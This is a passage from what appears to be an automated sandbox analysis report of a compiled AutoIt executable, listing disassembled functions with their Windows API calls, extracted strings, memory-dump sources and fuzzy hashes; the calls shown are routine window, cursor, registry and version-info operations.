                                                                                      • Instruction Fuzzy Hash: 01514A71900608AFDB219FA8DC48EEEBB7AFB08324F205215F915AB2E1D7759A41CF50
                                                                                      Function 0060B6C4 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 400windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 0060B7B0
                                                                                      • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0060B7C1
                                                                                      • CharNextW.USER32(0000014E), ref: 0060B7F0
                                                                                      • SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 0060B831
                                                                                      • SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 0060B847
                                                                                      • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0060B858
                                                                                      • SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 0060B875
                                                                                      • SetWindowTextW.USER32(?,0000014E), ref: 0060B8C7
                                                                                      • SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 0060B8DD
                                                                                      • SendMessageW.USER32(?,00001002,00000000,?), ref: 0060B90E
                                                                                      • _memset.LIBCMT ref: 0060B933
                                                                                      • SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 0060B97C
                                                                                      • _memset.LIBCMT ref: 0060B9DB
                                                                                      • SendMessageW.USER32 ref: 0060BA05
                                                                                      • SendMessageW.USER32(?,00001074,?,00000001), ref: 0060BA5D
                                                                                      • SendMessageW.USER32(?,0000133D,?,?), ref: 0060BB0A
                                                                                      • InvalidateRect.USER32(?,00000000,00000001), ref: 0060BB2C
                                                                                      • GetMenuItemInfoW.USER32(?), ref: 0060BB76
                                                                                      • SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 0060BBA3
                                                                                      • DrawMenuBar.USER32(?), ref: 0060BBB2
                                                                                      • SetWindowTextW.USER32(?,0000014E), ref: 0060BBDA
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
                                                                                      • String ID: 0
                                                                                      • API String ID: 1073566785-4108050209
                                                                                      • Opcode ID: 1c8cc24acab541d4f3ca20665180954554c1db6d24333908b662d57ee84efa17
                                                                                      • Instruction ID: 9e121a423c51d13f69189d821c793b87913001171e037386d7ecb2f45e4852f9
                                                                                      • Opcode Fuzzy Hash: 1c8cc24acab541d4f3ca20665180954554c1db6d24333908b662d57ee84efa17
                                                                                      • Instruction Fuzzy Hash: 78E18B74940219ABDB249FA5CC84EEF7B7AFF05710F14D15AF919AA2D0DB708A42CF60
                                                                                      Function 005A2EC0 Relevance: 37.1, APIs: 8, Strings: 13, Instructions: 346COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$Foreground
                                                                                      • String ID: ACTIVE$ALL$CLASS$H+e$HANDLE$INSTANCE$L+e$LAST$P+e$REGEXPCLASS$REGEXPTITLE$T+e$TITLE
                                                                                      • API String ID: 62970417-3718299420
                                                                                      • Opcode ID: 8cdcc7c00bb858baf1c3dd0dbb43e0ba474834b7c99811dcdc16c0f113b8726b
                                                                                      • Instruction ID: 2aa1005c9fe008151ccb72e1cfc94508da96f0334e5b62cb88b7ccde0b5e4374
                                                                                      • Opcode Fuzzy Hash: 8cdcc7c00bb858baf1c3dd0dbb43e0ba474834b7c99811dcdc16c0f113b8726b
                                                                                      • Instruction Fuzzy Hash: 47D1D730104643AFCB04EF20C496ADEBFB6BF95344F084A1DF455576A1DB30E9AADB91
                                                                                      Function 0060764F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetCursorPos.USER32(?), ref: 0060778A
                                                                                      • GetDesktopWindow.USER32 ref: 0060779F
                                                                                      • GetWindowRect.USER32(00000000), ref: 006077A6
                                                                                      • GetWindowLongW.USER32(?,000000F0), ref: 00607808
                                                                                      • DestroyWindow.USER32(?), ref: 00607834
                                                                                      • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 0060785D
                                                                                      • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0060787B
                                                                                      • SendMessageW.USER32(?,00000439,00000000,00000030), ref: 006078A1
                                                                                      • SendMessageW.USER32(?,00000421,?,?), ref: 006078B6
                                                                                      • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 006078C9
                                                                                      • IsWindowVisible.USER32(?), ref: 006078E9
                                                                                      • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00607904
                                                                                      • SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00607918
                                                                                      • GetWindowRect.USER32(?,?), ref: 00607930
                                                                                      • MonitorFromPoint.USER32(?,?,00000002), ref: 00607956
                                                                                      • GetMonitorInfoW.USER32 ref: 00607970
                                                                                      • CopyRect.USER32(?,?), ref: 00607987
                                                                                      • SendMessageW.USER32(?,00000412,00000000), ref: 006079F2
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                                                                      • String ID: ($0$tooltips_class32
                                                                                      • API String ID: 698492251-4156429822
                                                                                      • Opcode ID: e9b37f7cb3cc186c9d3d38cd5957e00ec9690dae30b0ac9e3a3213542000a4c8
                                                                                      • Instruction ID: f6b665a8f24e12fd75bcf5600c3db85c3d1ca3cbf09b9f228e26bac77e24b883
                                                                                      • Opcode Fuzzy Hash: e9b37f7cb3cc186c9d3d38cd5957e00ec9690dae30b0ac9e3a3213542000a4c8
                                                                                      • Instruction Fuzzy Hash: 07B16A71A48301AFDB14DF64C948B5FBBE6FF88310F008919F5999B291D770E805CBA6
                                                                                      Function 005E6CE9 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 178COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetFileVersionInfoSizeW.VERSION(?,?), ref: 005E6CFB
                                                                                      • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 005E6D21
                                                                                      • _wcscpy.LIBCMT ref: 005E6D4F
                                                                                      • _wcscmp.LIBCMT ref: 005E6D5A
                                                                                      • _wcscat.LIBCMT ref: 005E6D70
                                                                                      • _wcsstr.LIBCMT ref: 005E6D7B
                                                                                      • VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 005E6D97
                                                                                      • _wcscat.LIBCMT ref: 005E6DE0
                                                                                      • _wcscat.LIBCMT ref: 005E6DE7
                                                                                      • _wcsncpy.LIBCMT ref: 005E6E12
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
                                                                                      • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                                                      • API String ID: 699586101-1459072770
                                                                                      • Opcode ID: b3eac16c370cd5d6081516be163b4cfb5890109036e884530545180921b4c6dc
                                                                                      • Instruction ID: c43a06cf2bacc44786625487ab335f42a3720efb6fbed8cb717869a1aaa35acf
                                                                                      • Opcode Fuzzy Hash: b3eac16c370cd5d6081516be163b4cfb5890109036e884530545180921b4c6dc
                                                                                      • Instruction Fuzzy Hash: E041F771600242BFEB14ABA58D4BFBF7F6DFF91790F040019F901A21C2EA74AA0586A5
                                                                                      Function 005BA856 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 285windowtimeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 005BA939
                                                                                      • GetSystemMetrics.USER32(00000007), ref: 005BA941
                                                                                      • SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 005BA96C
                                                                                      • GetSystemMetrics.USER32(00000008), ref: 005BA974
                                                                                      • GetSystemMetrics.USER32(00000004), ref: 005BA999
                                                                                      • SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 005BA9B6
                                                                                      • AdjustWindowRectEx.USER32(000000FF,00000000,00000000,00000000), ref: 005BA9C6
                                                                                      • CreateWindowExW.USER32(00000000,AutoIt v3 GUI,?,00000000,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 005BA9F9
                                                                                      • SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 005BAA0D
                                                                                      • GetClientRect.USER32(00000000,000000FF), ref: 005BAA2B
                                                                                      • GetStockObject.GDI32(00000011), ref: 005BAA47
                                                                                      • SendMessageW.USER32(00000000,00000030,00000000), ref: 005BAA52
                                                                                        • Part of subcall function 005BB63C: GetCursorPos.USER32(000000FF), ref: 005BB64F
                                                                                        • Part of subcall function 005BB63C: ScreenToClient.USER32(00000000,000000FF), ref: 005BB66C
                                                                                        • Part of subcall function 005BB63C: GetAsyncKeyState.USER32(00000001), ref: 005BB691
                                                                                        • Part of subcall function 005BB63C: GetAsyncKeyState.USER32(00000002), ref: 005BB69F
                                                                                      • SetTimer.USER32(00000000,00000000,00000028,005BAB87), ref: 005BAA79
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
                                                                                      • String ID: AutoIt v3 GUI
                                                                                      • API String ID: 1458621304-248962490
                                                                                      • Opcode ID: 485c7463542b3a5418de3a115008578ef22ead647065c0364df87e6bad1cb072
                                                                                      • Instruction ID: bca9032975c828e435c799745252929f525725f22ebabd6ee433deec82d6e563
                                                                                      • Opcode Fuzzy Hash: 485c7463542b3a5418de3a115008578ef22ead647065c0364df87e6bad1cb072
                                                                                      • Instruction Fuzzy Hash: 61B18F75A0020AAFDB14DFA8DC49BEE7BB6FB08314F154219FA15EB290DB74E841CB51
                                                                                      Function 00603639 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00603735
                                                                                      • RegCreateKeyExW.ADVAPI32(?,?,00000000,0063DC00,00000000,?,00000000,?,?), ref: 006037A3
                                                                                      • RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 006037EB
                                                                                      • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00603874
                                                                                      • RegCloseKey.ADVAPI32(?), ref: 00603B94
                                                                                      • RegCloseKey.ADVAPI32(00000000), ref: 00603BA1
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Close$ConnectCreateRegistryValue
                                                                                      • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                                                      • API String ID: 536824911-966354055
                                                                                      • Opcode ID: 9110ec08bc22d185cd87daed99fabd6a01c594dd5278c6e2901437bbefdde612
                                                                                      • Instruction ID: 48219caa5ac95e094cb35dfc26dd88f98d25bfe4b2df6972c2ef3aef4a980856
                                                                                      • Opcode Fuzzy Hash: 9110ec08bc22d185cd87daed99fabd6a01c594dd5278c6e2901437bbefdde612
                                                                                      • Instruction Fuzzy Hash: E1025B752046129FCB14EF14C855A6EBBEAFF89714F04885DF98A9B3A1CB30ED41CB85
                                                                                      Function 00606BC9 Relevance: 26.5, APIs: 2, Strings: 13, Instructions: 281windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CharUpperBuffW.USER32(?,?), ref: 00606C56
                                                                                      • SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00606D16
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: BuffCharMessageSendUpper
                                                                                      • String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
                                                                                      • API String ID: 3974292440-719923060
                                                                                      • Opcode ID: 9414b8b685859ea97dfbdf6e04047491121a070a1415681f06b69597dc8503d8
                                                                                      • Instruction ID: c95562255ef483480d720c44a58b1544af084fb4a5206b2687854b4163d66324
                                                                                      • Opcode Fuzzy Hash: 9414b8b685859ea97dfbdf6e04047491121a070a1415681f06b69597dc8503d8
                                                                                      • Instruction Fuzzy Hash: B6A170702443429BCB18EF14C856AAFBBA7BF85314F144969B8665B3D2DF30EC1ACB51
                                                                                      Function 005DCF50 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetClassNameW.USER32(?,?,00000100), ref: 005DCF91
                                                                                      • __swprintf.LIBCMT ref: 005DD032
                                                                                      • _wcscmp.LIBCMT ref: 005DD045
                                                                                      • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 005DD09A
                                                                                      • _wcscmp.LIBCMT ref: 005DD0D6
                                                                                      • GetClassNameW.USER32(?,?,00000400), ref: 005DD10D
                                                                                      • GetDlgCtrlID.USER32(?), ref: 005DD15F
                                                                                      • GetWindowRect.USER32(?,?), ref: 005DD195
                                                                                      • GetParent.USER32(?), ref: 005DD1B3
                                                                                      • ScreenToClient.USER32(00000000), ref: 005DD1BA
                                                                                      • GetClassNameW.USER32(?,?,00000100), ref: 005DD234
                                                                                      • _wcscmp.LIBCMT ref: 005DD248
                                                                                      • GetWindowTextW.USER32(?,?,00000400), ref: 005DD26E
                                                                                      • _wcscmp.LIBCMT ref: 005DD282
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf
                                                                                      • String ID: %s%u
                                                                                      • API String ID: 3119225716-679674701
                                                                                      • Opcode ID: 7f5023f20c0b1aeef0d45134b363c9a5219e095618a7c43cf40728e69f449d1a
                                                                                      • Instruction ID: 710ea29442606f50a19bf2bfbcf3a0707087589cb08b40d5a227e2a2e278918a
                                                                                      • Opcode Fuzzy Hash: 7f5023f20c0b1aeef0d45134b363c9a5219e095618a7c43cf40728e69f449d1a
                                                                                      • Instruction Fuzzy Hash: B0A1D471604707AFD724DF68C884FAABBA9FF44354F00851BF999D2240D730EA46CBA1
                                                                                      Function 005DD8A7 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetClassNameW.USER32(00000008,?,00000400), ref: 005DD8EB
                                                                                      • _wcscmp.LIBCMT ref: 005DD8FC
                                                                                      • GetWindowTextW.USER32(00000001,?,00000400), ref: 005DD924
                                                                                      • CharUpperBuffW.USER32(?,00000000), ref: 005DD941
                                                                                      • _wcscmp.LIBCMT ref: 005DD95F
                                                                                      • _wcsstr.LIBCMT ref: 005DD970
                                                                                      • GetClassNameW.USER32(00000018,?,00000400), ref: 005DD9A8
                                                                                      • _wcscmp.LIBCMT ref: 005DD9B8
                                                                                      • GetWindowTextW.USER32(00000002,?,00000400), ref: 005DD9DF
                                                                                      • GetClassNameW.USER32(00000018,?,00000400), ref: 005DDA28
                                                                                      • _wcscmp.LIBCMT ref: 005DDA38
                                                                                      • GetClassNameW.USER32(00000010,?,00000400), ref: 005DDA60
                                                                                      • GetWindowRect.USER32(00000004,?), ref: 005DDAC9
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
                                                                                      • String ID: @$ThumbnailClass
                                                                                      • API String ID: 1788623398-1539354611
                                                                                      • Opcode ID: 40300f76fc164c309cec741eec004bd48d2b8c0a54ae2087088caf57c3f4f1d8
                                                                                      • Instruction ID: 6e5d650447cdef77a03c86e29a2da997f786cd6234ff08f54a6024185e4b0a7b
                                                                                      • Opcode Fuzzy Hash: 40300f76fc164c309cec741eec004bd48d2b8c0a54ae2087088caf57c3f4f1d8
                                                                                      • Instruction Fuzzy Hash: 468181310083069BDB25DF58C885F6A7FA8FF85314F04846BFD899A196DB34DD46CBA1
                                                                                      Function 005DD6F4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 104COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: __wcsnicmp
                                                                                      • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                                                                      • API String ID: 1038674560-1810252412
                                                                                      • Opcode ID: a5f1cce380f4b69bd3ed3308e725ccfce11ee07e88832bea6a450f626a9923f7
                                                                                      • Instruction ID: 55caf52e711fc464facd601a2a4629feebe0379b43a7782d2ca9623205e177f5
                                                                                      • Opcode Fuzzy Hash: a5f1cce380f4b69bd3ed3308e725ccfce11ee07e88832bea6a450f626a9923f7
                                                                                      • Instruction Fuzzy Hash: E031A131A44207EADB24FA54CD67FADBF75BF62705F20006BF841B11D2EB61AA48C661
                                                                                      Function 005DEA9D Relevance: 25.7, APIs: 17, Instructions: 168windowtimeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • LoadIconW.USER32(00000063), ref: 005DEAB0
                                                                                      • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 005DEAC2
                                                                                      • SetWindowTextW.USER32(?,?), ref: 005DEAD9
                                                                                      • GetDlgItem.USER32(?,000003EA), ref: 005DEAEE
                                                                                      • SetWindowTextW.USER32(00000000,?), ref: 005DEAF4
                                                                                      • GetDlgItem.USER32(?,000003E9), ref: 005DEB04
                                                                                      • SetWindowTextW.USER32(00000000,?), ref: 005DEB0A
                                                                                      • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 005DEB2B
                                                                                      • SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 005DEB45
                                                                                      • GetWindowRect.USER32(?,?), ref: 005DEB4E
                                                                                      • SetWindowTextW.USER32(?,?), ref: 005DEBB9
                                                                                      • GetDesktopWindow.USER32 ref: 005DEBBF
                                                                                      • GetWindowRect.USER32(00000000), ref: 005DEBC6
                                                                                      • MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 005DEC12
                                                                                      • GetClientRect.USER32(?,?), ref: 005DEC1F
                                                                                      • PostMessageW.USER32(?,00000005,00000000,00000000), ref: 005DEC44
                                                                                      • SetTimer.USER32(?,0000040A,00000000,00000000), ref: 005DEC6F
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                                                                      • String ID:
                                                                                      • API String ID: 3869813825-0
                                                                                      • Opcode ID: aa0864baed67a3b356b4696be3d3311d0ac445786213c77a2a67416e3d985ef3
                                                                                      • Instruction ID: 86bcb1e8358ddacf61f0dbda53b8f13687f02d309217078f2cd82d9d37dfe4c8
                                                                                      • Opcode Fuzzy Hash: aa0864baed67a3b356b4696be3d3311d0ac445786213c77a2a67416e3d985ef3
                                                                                      • Instruction Fuzzy Hash: 44514071900709AFDB30EFA8CD8AE6EBBB5FF04705F10491AE546A66A0C774B945CB10
                                                                                      Function 005F79B0 Relevance: 25.6, APIs: 17, Instructions: 109COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • LoadCursorW.USER32(00000000,00007F8A), ref: 005F79C6
                                                                                      • LoadCursorW.USER32(00000000,00007F00), ref: 005F79D1
                                                                                      • LoadCursorW.USER32(00000000,00007F03), ref: 005F79DC
                                                                                      • LoadCursorW.USER32(00000000,00007F8B), ref: 005F79E7
                                                                                      • LoadCursorW.USER32(00000000,00007F01), ref: 005F79F2
                                                                                      • LoadCursorW.USER32(00000000,00007F81), ref: 005F79FD
                                                                                      • LoadCursorW.USER32(00000000,00007F88), ref: 005F7A08
                                                                                      • LoadCursorW.USER32(00000000,00007F80), ref: 005F7A13
                                                                                      • LoadCursorW.USER32(00000000,00007F86), ref: 005F7A1E
                                                                                      • LoadCursorW.USER32(00000000,00007F83), ref: 005F7A29
